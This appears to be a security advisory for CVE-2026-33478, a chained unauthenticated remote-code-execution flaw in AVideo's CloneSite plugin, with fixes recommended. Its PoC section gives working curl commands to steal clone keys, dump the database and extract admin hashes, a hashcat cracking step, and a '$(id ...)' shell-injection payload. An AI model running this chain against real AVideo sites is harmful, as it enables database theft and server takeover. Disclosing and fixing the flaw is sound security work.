wwbn/avideo
Affected
- introduced
0, last affected26.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33478
AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection
Summary
Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands.
Details
Step 1: Clone Key Disclosure
plugin/CloneSite/clones.json.php:1-8 has zero authentication:
<?php
require_once '../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php';
header('Content-Type: application/json');
$rows = Clones::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}
The response includes the key field for every registered clone, which is the sole authentication credential for clone operations.
Step 2: Database Dump via Stolen Key
plugin/CloneSite/cloneServer.json.php:73-97 — once the key passes Clones::thisURLCanCloneMe(), the server executes mysqldump and writes the result to a web-accessible directory:
$cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} "
." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile";
exec($cmd . " 2>&1", $output, $return_val);
The SQL file path is returned in the JSON response and is downloadable.
Step 3: Admin Credential Extraction
objects/user.php:1798 — passwords are stored as unsalted MD5:
$passEncoded = md5($pass);
The users table in the dump contains user, password (MD5), and isAdmin fields. MD5 hashes crack in seconds.
Step 4: Command Injection via Rsync
plugin/CloneSite/cloneClient.json.php:259 — the videosDir from the clone server response is interpolated unsanitized into the rsync command:
$rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ...";
exec($cmd . " 2>&1", $output, $return_val);
An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the videosDir field.
PoC
# Step 1: Steal clone keys (unauthenticated)
curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'
# Output: "a1b2c3d4e5f6..."
# Step 2: Trigger database dump
CLONE_KEY="a1b2c3d4e5f6..."
curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \
--data "url=http://attacker.com&key=${CLONE_KEY}&useRsync=0" | jq '.sqlFile'
# Output: "Clone_mysqlDump_1234567890.sql"
# Step 3: Download the dump and extract admin credentials
curl -s "http://target/videos/clones/Clone_mysqlDump_1234567890.sql" \
| grep -A2 "INSERT INTO.*users" \
| grep -oP "admin','[a-f0-9]{32}"
# Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")
# Step 4: Crack MD5 (trivial)
echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt
# Output: password
# Step 5: Login as admin, configure CloneSite with malicious server
# The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned)
# When rsync executes, the $(id) is evaluated by the shell
Impact
Recommended Fix
// plugin/CloneSite/clones.json.php
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
http_response_code(403);
die(json_encode(['error' => true, 'msg' => 'Admin required']));
}
password_hash() (bcrypt/argon2):// Replace: $passEncoded = md5($pass);
$passEncoded = password_hash($pass, PASSWORD_DEFAULT);
escapeshellarg() on all interpolated values:$rsync = sprintf("rsync -av ... %s@%s:%s ...",
escapeshellarg($objClone->cloneSiteSSHUser),
escapeshellarg($objClone->cloneSiteSSHIP),
escapeshellarg($json->videosDir)
);Critical Basis: The source's own band: CRITICAL
0, last affected 26.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0